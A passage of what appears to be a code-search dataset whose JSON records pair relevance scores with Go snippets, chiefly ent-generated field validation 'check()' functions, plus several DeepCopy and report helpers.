cuuo.mutation.LastName(); ok {\n\t\tif err := companyuser.LastNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"last_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"last_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuuo.mutation.FirstName(); ok {\n\t\tif err := companyuser.FirstNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"first_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"first_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuuo.mutation.LastNameFurigana(); ok {\n\t\tif err := companyuser.LastNameFuriganaValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"last_name_furigana\", err: fmt.Errorf(\"ent: validator failed for field \\\"last_name_furigana\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuuo.mutation.FirstNameFurigana(); ok {\n\t\tif err := companyuser.FirstNameFuriganaValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"first_name_furigana\", err: fmt.Errorf(\"ent: validator failed for field \\\"first_name_furigana\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuuo.mutation.ProfileName(); ok {\n\t\tif err := companyuser.ProfileNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"profile_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"profile_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuuo.mutation.IconURL(); ok {\n\t\tif err := companyuser.IconURLValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"icon_url\", err: fmt.Errorf(\"ent: validator failed for field \\\"icon_url\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuuo.mutation.Gender(); ok {\n\t\tif err := companyuser.GenderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"gender\", err: fmt.Errorf(\"ent: validator failed for field \\\"gender\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "80b1c4e0991fbbae6ace56b96eb183bc", "score": "0.58498526", "text": "func (rc *RestaurantCreate) check() error {\n\tif _, ok := rc.mutation.Name(); !ok {\n\t\treturn &ValidationError{Name: \"name\", err: errors.New(\"ent: missing required field \\\"name\\\"\")}\n\t}\n\tif v, ok := rc.mutation.Name(); ok {\n\t\tif err := restaurant.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1427b6e5c0e6f0bdadbc6a64910b5467", "score": "0.5849755", "text": "func (sec *StudyEligibilityCreate) check() error {\n\tif _, ok := sec.mutation.EligibilityCriteria(); !ok {\n\t\treturn &ValidationError{Name: \"EligibilityCriteria\", err: errors.New(`models: missing required field \"StudyEligibility.EligibilityCriteria\"`)}\n\t}\n\tif _, ok := sec.mutation.HealthyVolunteers(); !ok {\n\t\treturn &ValidationError{Name: \"HealthyVolunteers\", err: errors.New(`models: missing required field \"StudyEligibility.HealthyVolunteers\"`)}\n\t}\n\tif _, ok := sec.mutation.Gender(); !ok {\n\t\treturn &ValidationError{Name: \"Gender\", err: errors.New(`models: missing required field \"StudyEligibility.Gender\"`)}\n\t}\n\tif _, ok := sec.mutation.MinimumAge(); !ok {\n\t\treturn &ValidationError{Name: \"MinimumAge\", err: errors.New(`models: missing required field \"StudyEligibility.MinimumAge\"`)}\n\t}\n\tif _, ok := sec.mutation.MaximumAge(); !ok {\n\t\treturn &ValidationError{Name: \"MaximumAge\", err: errors.New(`models: missing required field \"StudyEligibility.MaximumAge\"`)}\n\t}\n\tif _, ok := sec.mutation.StdAgeList(); !ok {\n\t\treturn &ValidationError{Name: \"StdAgeList\", err: errors.New(`models: missing required field \"StudyEligibility.StdAgeList\"`)}\n\t}\n\tif _, ok := sec.mutation.Ethnicity(); !ok {\n\t\treturn &ValidationError{Name: \"Ethnicity\", err: errors.New(`models: missing required field \"StudyEligibility.Ethnicity\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "34a548465e15ee912a541180a5be6092", "score": "0.5849656", "text": "func (rc *ReportwallettbCreate) check() error {\n\tif _, ok := rc.mutation.Walletid(); !ok {\n\t\treturn &ValidationError{Name: \"walletid\", err: errors.New(\"ent: missing required field \\\"walletid\\\"\")}\n\t}\n\tif v, ok := rc.mutation.Walletid(); ok {\n\t\tif err := reportwallettb.WalletidValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"walletid\", err: fmt.Errorf(\"ent: validator failed for field \\\"walletid\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.WalletTypeName(); ok {\n\t\tif err := reportwallettb.WalletTypeNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"WalletTypeName\", err: fmt.Errorf(\"ent: validator failed for field \\\"WalletTypeName\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.WalletPhoneno(); ok {\n\t\tif err := reportwallettb.WalletPhonenoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"WalletPhoneno\", err: fmt.Errorf(\"ent: validator failed for field \\\"WalletPhoneno\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.WalletName(); ok {\n\t\tif err := reportwallettb.WalletNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"WalletName\", err: fmt.Errorf(\"ent: validator failed for field \\\"WalletName\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.CitizenId(); ok {\n\t\tif err := reportwallettb.CitizenIdValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"CitizenId\", err: fmt.Errorf(\"ent: validator failed for field \\\"CitizenId\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.Status(); ok {\n\t\tif err := reportwallettb.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Status\", err: fmt.Errorf(\"ent: validator failed for field \\\"Status\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.UserAgent(); ok {\n\t\tif err := reportwallettb.UserAgentValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"UserAgent\", err: fmt.Errorf(\"ent: validator failed for field \\\"UserAgent\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.ATMCard(); ok {\n\t\tif err := reportwallettb.ATMCardValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ATMCard\", err: fmt.Errorf(\"ent: validator failed for field \\\"ATMCard\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.AccountNo(); ok {\n\t\tif err := reportwallettb.AccountNoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"AccountNo\", err: fmt.Errorf(\"ent: validator failed for field \\\"AccountNo\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.Province(); ok {\n\t\tif err := reportwallettb.ProvinceValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Province\", err: fmt.Errorf(\"ent: validator failed for field \\\"Province\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.PostalCode(); ok {\n\t\tif err := reportwallettb.PostalCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"PostalCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"PostalCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rc.mutation.IsKYC(); ok {\n\t\tif err := reportwallettb.IsKYCValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"isKYC\", err: fmt.Errorf(\"ent: validator failed for field \\\"isKYC\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "db95d39bdefc8f28e2e16127eda70541", "score": "0.58457464", "text": "func (ac *AlertCreate) check() error {\n\tif _, ok := ac.mutation.Scenario(); !ok {\n\t\treturn &ValidationError{Name: \"scenario\", err: errors.New(`ent: missing required field \"Alert.scenario\"`)}\n\t}\n\tif _, ok := ac.mutation.Simulated(); !ok {\n\t\treturn &ValidationError{Name: \"simulated\", err: errors.New(`ent: missing required field \"Alert.simulated\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b2518bc3f0989288a73b8cc0bc341374", "score": "0.5845314", "text": "func (mc *MetadataCreate) check() error {\n\tif _, ok := mc.mutation.Age(); !ok {\n\t\treturn &ValidationError{Name: \"age\", err: errors.New(`ent: missing required field \"Metadata.age\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8654cc96b0f43f70e07d08ef7da9cfec", "score": "0.58441645", "text": "func (nc *NodeCreate) check() error {\n\tif _, ok := nc.mutation.Tenant(); !ok {\n\t\treturn &ValidationError{Name: \"tenant\", err: errors.New(\"ent: missing required field \\\"tenant\\\"\")}\n\t}\n\tif v, ok := nc.mutation.Tenant(); ok {\n\t\tif err := node.TenantValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"tenant\", err: fmt.Errorf(\"ent: validator failed for field \\\"tenant\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := nc.mutation.Name(); !ok {\n\t\treturn &ValidationError{Name: \"name\", err: errors.New(\"ent: missing required field \\\"name\\\"\")}\n\t}\n\tif v, ok := nc.mutation.Name(); ok {\n\t\tif err := node.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := nc.mutation.GetType(); !ok {\n\t\treturn &ValidationError{Name: \"type\", err: errors.New(\"ent: missing required field \\\"type\\\"\")}\n\t}\n\tif v, ok := nc.mutation.GetType(); ok {\n\t\tif err := node.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(\"ent: validator failed for field \\\"type\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := nc.mutation.Data(); !ok {\n\t\treturn &ValidationError{Name: \"data\", err: errors.New(\"ent: missing required field \\\"data\\\"\")}\n\t}\n\tif _, ok := nc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(\"ent: missing required field \\\"created_at\\\"\")}\n\t}\n\tif _, ok := nc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(\"ent: missing required field \\\"updated_at\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "bcd381b65e361376e8e58a45de8ab006", "score": "0.584192", "text": "func (sc *StateCreate) check() error {\n\tif _, ok := sc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(`ent: missing required field \"created_at\"`)}\n\t}\n\tif _, ok := sc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(`ent: missing required field \"updated_at\"`)}\n\t}\n\tif _, ok := sc.mutation.Short(); !ok {\n\t\treturn &ValidationError{Name: \"short\", err: errors.New(`ent: missing required field \"short\"`)}\n\t}\n\tif v, ok := sc.mutation.Short(); ok {\n\t\tif err := state.ShortValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"short\", err: fmt.Errorf(`ent: validator failed for field \"short\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := sc.mutation.Title(); !ok {\n\t\treturn &ValidationError{Name: \"title\", err: errors.New(`ent: missing required field \"title\"`)}\n\t}\n\tif v, ok := sc.mutation.Title(); ok {\n\t\tif err := state.TitleValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"title\", err: fmt.Errorf(`ent: validator failed for field \"title\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := sc.mutation.Description(); ok {\n\t\tif err := state.DescriptionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"description\", err: fmt.Errorf(`ent: validator failed for field \"description\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c9ee2e2fabbbfafe0e65203fd14b67d4", "score": "0.5837662", "text": "func (qc *QuestionCreate) check() error {\n\tif _, ok := qc.mutation.Body(); !ok {\n\t\treturn &ValidationError{Name: \"body\", err: errors.New(`ent: missing required field \"body\"`)}\n\t}\n\tif _, ok := qc.mutation.UserID(); !ok {\n\t\treturn &ValidationError{Name: \"user_id\", err: errors.New(`ent: missing required field \"user_id\"`)}\n\t}\n\tif _, ok := qc.mutation.PollExpiry(); !ok {\n\t\treturn &ValidationError{Name: \"pollExpiry\", err: errors.New(`ent: missing required field \"pollExpiry\"`)}\n\t}\n\tif _, ok := qc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(`ent: missing required field \"created_at\"`)}\n\t}\n\tif _, ok := qc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(`ent: missing required field \"updated_at\"`)}\n\t}\n\tif _, ok := qc.mutation.UserID(); !ok {\n\t\treturn &ValidationError{Name: \"user\", err: errors.New(\"ent: missing required edge \\\"user\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c2670fb492cd80d930d837dcbc9942c5", "score": "0.58364964", "text": "func (in WasmPluginChecker) Check() models.IstioValidations {\n\tvalidations := models.IstioValidations{}\n\n\treturn validations\n}", "title": "" }, { "docid": "78547698aaf0cfa5ee8fe9a65e5ac6f5", "score": "0.58327806", "text": "func (hduo *HTTPDetectorUpdateOne) check() error {\n\tif v, ok := hduo.mutation.Status(); ok {\n\t\tif err := httpdetector.StatusValidator(int8(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.status\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := hduo.mutation.Name(); ok {\n\t\tif err := httpdetector.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.name\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := hduo.mutation.Timeout(); ok {\n\t\tif err := httpdetector.TimeoutValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"timeout\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.timeout\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := hduo.mutation.URL(); ok {\n\t\tif err := httpdetector.URLValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"url\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.url\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e8b08ae4985e05ab222df5d81eb62e28", "score": "0.58312684", "text": "func (auo *AvatarUpdateOne) check() error {\n\tif v, ok := auo.mutation.URL(); ok {\n\t\tif err := avatar.URLValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"url\", err: fmt.Errorf(\"ent: validator failed for field \\\"url\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.Status(); ok {\n\t\tif err := avatar.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ad0a33f518b427efb9d6ee5bd9e2c233", "score": "0.5826873", "text": "func (gic *GroupInfoCreate) check() error {\n\tif _, ok := gic.mutation.Desc(); !ok {\n\t\treturn &ValidationError{Name: \"desc\", err: errors.New(`ent: missing required field \"GroupInfo.desc\"`)}\n\t}\n\tif _, ok := gic.mutation.MaxUsers(); !ok {\n\t\treturn &ValidationError{Name: \"max_users\", err: errors.New(`ent: missing required field \"GroupInfo.max_users\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "20777b674308527dffb5c312902ee993", "score": "0.5825091", "text": "func (sdc *SysDictCreate) check() error {\n\tif _, ok := sdc.mutation.IsDel(); !ok {\n\t\treturn &ValidationError{Name: \"is_del\", err: errors.New(\"ent: missing required field \\\"is_del\\\"\")}\n\t}\n\tif _, ok := sdc.mutation.Memo(); !ok {\n\t\treturn &ValidationError{Name: \"memo\", err: errors.New(\"ent: missing required field \\\"memo\\\"\")}\n\t}\n\tif v, ok := sdc.mutation.Memo(); ok {\n\t\tif err := sysdict.MemoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"memo\", err: fmt.Errorf(\"ent: validator failed for field \\\"memo\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := sdc.mutation.Sort(); !ok {\n\t\treturn &ValidationError{Name: \"sort\", err: errors.New(\"ent: missing required field \\\"sort\\\"\")}\n\t}\n\tif _, ok := sdc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(\"ent: missing required field \\\"created_at\\\"\")}\n\t}\n\tif _, ok := sdc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(\"ent: missing required field \\\"updated_at\\\"\")}\n\t}\n\tif _, ok := sdc.mutation.Status(); !ok {\n\t\treturn &ValidationError{Name: \"status\", err: errors.New(\"ent: missing required field \\\"status\\\"\")}\n\t}\n\tif _, ok := sdc.mutation.NameCn(); !ok {\n\t\treturn &ValidationError{Name: \"name_cn\", err: errors.New(\"ent: missing required field \\\"name_cn\\\"\")}\n\t}\n\tif v, ok := sdc.mutation.NameCn(); ok {\n\t\tif err := sysdict.NameCnValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name_cn\", err: fmt.Errorf(\"ent: validator failed for field \\\"name_cn\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := sdc.mutation.NameEn(); !ok {\n\t\treturn &ValidationError{Name: \"name_en\", err: errors.New(\"ent: missing required field \\\"name_en\\\"\")}\n\t}\n\tif v, ok := sdc.mutation.NameEn(); ok {\n\t\tif err := sysdict.NameEnValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name_en\", err: fmt.Errorf(\"ent: validator failed for field \\\"name_en\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := sdc.mutation.ID(); ok {\n\t\tif err := sysdict.IDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"id\", err: fmt.Errorf(\"ent: validator failed for field \\\"id\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5902a5c9d905dacdbab9e5a69018edc0", "score": "0.58210325", "text": "func (cuu *CompanyUserUpdate) check() error {\n\tif v, ok := cuu.mutation.LastName(); ok {\n\t\tif err := companyuser.LastNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"last_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"last_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuu.mutation.FirstName(); ok {\n\t\tif err := companyuser.FirstNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"first_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"first_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuu.mutation.LastNameFurigana(); ok {\n\t\tif err := companyuser.LastNameFuriganaValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"last_name_furigana\", err: fmt.Errorf(\"ent: validator failed for field \\\"last_name_furigana\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuu.mutation.FirstNameFurigana(); ok {\n\t\tif err := companyuser.FirstNameFuriganaValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"first_name_furigana\", err: fmt.Errorf(\"ent: validator failed for field \\\"first_name_furigana\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuu.mutation.ProfileName(); ok {\n\t\tif err := companyuser.ProfileNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"profile_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"profile_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuu.mutation.IconURL(); ok {\n\t\tif err := companyuser.IconURLValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"icon_url\", err: fmt.Errorf(\"ent: validator failed for field \\\"icon_url\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuu.mutation.Gender(); ok {\n\t\tif err := companyuser.GenderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"gender\", err: fmt.Errorf(\"ent: validator failed for field \\\"gender\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" } ]
0930be162ab920e2093fd2c87763b24b
DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new reportnothing.
[ { "docid": "7d6e3765e2d98fe24360ae6a3166830f", "score": "0.87772757", "text": "func (in *reportnothing) DeepCopy() *reportnothing {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(reportnothing)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" } ]
[ { "docid": "b9783994f4cad77d648b9ea8a327b63a", "score": "0.7296209", "text": "func (in *reportnothingList) DeepCopy() *reportnothingList {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(reportnothingList)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "44c207122c94675c7e48981f1cb013d4", "score": "0.65081763", "text": "func (o *Report) DeepCopy() *Report {\n\n\tif o == nil {\n\t\treturn nil\n\t}\n\n\tout := &Report{}\n\to.DeepCopyInto(out)\n\n\treturn out\n}", "title": "" }, { "docid": "4284f9db142ef015456f02fb7b477069", "score": "0.61629516", "text": "func (in *reportnothing) DeepCopyObject() runtime.Object {\n\tif c := in.DeepCopy(); c != nil {\n\t\treturn c\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "59b10e5b62fe12e22a31b81a102497e9", "score": "0.54425234", "text": "func (in *reportnothingList) DeepCopyObject() runtime.Object {\n\tif c := in.DeepCopy(); c != nil {\n\t\treturn c\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e53ba218e401df2f534968b1b281230d", "score": "0.5414899", "text": "func (in *checknothing) DeepCopy() *checknothing {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(checknothing)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7bc4140370fa082b421f80b255525db6", "score": "0.532363", "text": "func (in *ReportSpecs) DeepCopy() *ReportSpecs {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ReportSpecs)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0d71c5bf0a36fe6fb75c239e245f0124", "score": "0.52314585", "text": "func (r *Report) SingleReport() (*pb.SingleReport, error) {\n\tcreatedAtProto, err := ptypes.TimestampProto(r.CreatedAt)\n\tif err != nil {\n\t\treturn nil, internalError(err)\n\t}\n\n\tres := new(pb.SingleReport)\n\tres.Uid = r.UID.String()\n\tres.CategoryUid = r.CategoryUID.String()\n\tres.PostUid = r.PostUID.String()\n\tres.CommentUid = r.CommentUID.String()\n\tres.Reason = r.Reason\n\tres.CreatedAt = createdAtProto\n\n\treturn res, nil\n}", "title": "" }, { "docid": "aab554b8cabede229b71d70711ebb462", "score": "0.510177", "text": "func (d DisasterReport) Copy() DisasterReport {\n\tret := d\n\treturn ret\n}", "title": "" }, { "docid": "6f48090db1cd38e55640bd2f5bc733c5", "score": "0.5091074", "text": "func NewSendReportNoContent() *SendReportNoContent {\n\treturn &SendReportNoContent{}\n}", "title": "" }, { "docid": "4bbff3a69e03cab032a820883bc58518", "score": "0.5080063", "text": "func (h *Histogram) Report() {\n\tp2 := 1\n\tfor _, v := range h.values {\n\t\tif v != 0 {\n\t\t\tfmt.Println(comma(p2)+\" ns\", v)\n\t\t}\n\t\tp2 *= 2\n\t}\n\tfmt.Println(\"Average: \", h.sum/int64(h.n), \" ns\")\n}", "title": "" }, { "docid": "910faeeb239f1cd3cb5181cc17d57369", "score": "0.5027896", "text": "func (o *SparseReport) DeepCopy() *SparseReport {\n\n\tif o == nil {\n\t\treturn nil\n\t}\n\n\tout := &SparseReport{}\n\to.DeepCopyInto(out)\n\n\treturn out\n}", "title": "" }, { "docid": "bbea2ed67d6ff36a1b018aed50b45284", "score": "0.49553496", "text": "func (in *reportnothing) DeepCopyIstioObject() IstioObject {\n\tif c := in.DeepCopy(); c != nil {\n\t\treturn c\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c212a1411f6ed6ec8c8bc2b14d93cb19", "score": "0.49124256", "text": "func (rep Reporter) Report(w io.Writer) error { return rep(w) }", "title": "" }, { "docid": "d8c805187826ebcc2bf5f4fbf9afd8d4", "score": "0.49052933", "text": "func (i *ExecStatement) Report(s *stressClient.StressTest) string {\n\treturn \"\"\n}", "title": "" }, { "docid": "945175abb9b373cc78fa7853a9b0d8ef", "score": "0.48760146", "text": "func (l *Entry) Report(ctx context.Context) *Entry {\n\tl.ctx = ctx\n\treturn l\n}", "title": "" }, { "docid": "322ef4b1c8b3f6a4c77ea4d426ceb1ea", "score": "0.48322806", "text": "func (obj *Queue) Report() {\n\tobj.BaseObj.Report()\n\tfmt.Printf(\"Max content \\t%d\\tTotal entries \\t%2.f\\tZero entries \\t%2.f\\tPersent zero entries \\t%.2f%%\\n\",\n\t\tobj.maxContent, obj.sumEntries, obj.sumZeroEntries, 100*obj.sumZeroEntries/obj.sumEntries)\n\tfmt.Printf(\"Current contents \\t%d\\tAverage content \\t%.2f\\tAverage time/trans \\t%.2f\\n\", obj.tb.Len(),\n\t\tobj.sumContent/float64(obj.Pipe.SimTime), obj.sumTimequeue/obj.sumEntries)\n\tif obj.sumEntries-obj.sumZeroEntries > 0 {\n\t\tfmt.Printf(\"Average time/trans without zero entries \\t%.2f\\n\", obj.sumTimequeue/(obj.sumEntries-obj.sumZeroEntries))\n\t}\n\tfmt.Println()\n}", "title": "" }, { "docid": "6031de701832fc658aab09c351042423", "score": "0.4822954", "text": "func NewReport(errorMessages []string) Report {\n\n\t// if no errors are supplied, we assume OK is true\n\tvar ok bool\n\tif len(errorMessages) == 0 {\n\t\tok = true\n\t}\n\treturn Report{\n\t\tErrors: errorMessages,\n\t\tOK: ok,\n\t}\n}", "title": "" }, { "docid": "7aa7292d02c546c9ef998520688e4479", "score": "0.4804595", "text": "func (r *Report) IsEmpty() bool {\n\tif r == nil || len(r.Packages) == 0 {\n\t\treturn true\n\t}\n\n\tfor _, pkg := range r.Packages {\n\t\tif !pkg.IsEmpty() {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "c41a87fb034d8dd983cf50e8aa745a49", "score": "0.479621", "text": "func (bench *Benchmark) Report() {\n\thist := bench.hr.Histogram(1)\n\tbench.b.Logf(\"%6v₅₀ %6v₉₀ %6v₉₉ N=%v\",\n\t\ttime.Duration(truncate(hist.P50, 3)),\n\t\ttime.Duration(truncate(hist.P90, 3)),\n\t\ttime.Duration(truncate(hist.P99, 3)),\n\t\tbench.b.N,\n\t)\n}", "title": "" }, { "docid": "408e93f35ff8862bf4faefc99d9e43c6", "score": "0.47880882", "text": "func (m Matcher) Report(message string) Matcher {\n\treturn m\n}", "title": "" }, { "docid": "c947105b4a3b381d5b95aab1ca1d6d21", "score": "0.4781186", "text": "func NewReport() *Report {\n\n\treturn &Report{\n\t\tModelVersion: 1,\n\t\tFields: map[string]interface{}{},\n\t\tTags: map[string]string{},\n\t}\n}", "title": "" }, { "docid": "7584c1b0ff7825b3d5a4394dd4016a18", "score": "0.4732511", "text": "func EmptyResponse() CHResponses { return CHResponses{{Data: emptyData}} }", "title": "" }, { "docid": "f26bc969ac66299b0152eec438c8e6b7", "score": "0.47292584", "text": "func (w *Whois) Report() map[string]interface{} {\n\treturn w.info\n}", "title": "" }, { "docid": "226a1aba0a92dd3da57d78467ae198ed", "score": "0.4702476", "text": "func NewReport() *Report {\n\treturn &Report{\n\t\tDB: make(map[string]*AssemblySummary),\n\t}\n}", "title": "" }, { "docid": "eca50faae56989147158ada155d8f0e8", "score": "0.46916044", "text": "func (r *Report) Reset() {\n\tr.DB = make(map[string]*AssemblySummary)\n}", "title": "" }, { "docid": "7d76b61693ba52c30873a567b919ab4a", "score": "0.46843117", "text": "func (l *defaultLogReporter) Report(r Report) error {\n\tlog.Printf(\"CSP report: %v\", r)\n\treturn nil\n}", "title": "" }, { "docid": "2b1b840aff9e4cc0b7ee26ccb230fabd", "score": "0.46754304", "text": "func (v *Validator) Report() string {\n\tif v.Errors == 0 {\n\t\treturn \"validation '%s' has zero errors/warnings\"\n\t}\n\tr := \"\\n\"\n\tfor i, issue := range v.Issues {\n\t\tr = r + fmt.Sprintf(\"Issue %d: %s\\n\", i+1, issue.Txt)\n\t}\n\treturn r\n}", "title": "" }, { "docid": "30405993364723a152f82590ad1e2388", "score": "0.46628472", "text": "func (y *YaHeiPHPXSS) Report() map[string]interface{} {\n\treturn map[string]interface{}{\n\t\t\"host\": y.target,\n\t\t\"exploitable\": y.Exploitable,\n\t}\n}", "title": "" }, { "docid": "7f65a881e53701f225cf1b6fd260ff12", "score": "0.465303", "text": "func NewReportOK() *ReportOK {\n\n\treturn &ReportOK{}\n}", "title": "" }, { "docid": "95c3f5f88ea1929e0ae3ec7ac0e579c2", "score": "0.4641157", "text": "func (in *InsightsReport) DeepCopy() *InsightsReport {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(InsightsReport)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8ef04e6a87cfed4128739be0d4aacf03", "score": "0.46284488", "text": "func newNoopReporter() tally.StatsReporter {\n\treturn &noopReporter{}\n}", "title": "" }, { "docid": "0246a146c4e07c33504e46f79de06a57", "score": "0.46272784", "text": "func (bench *BenchmarkTSC) Report() {\n\thist := 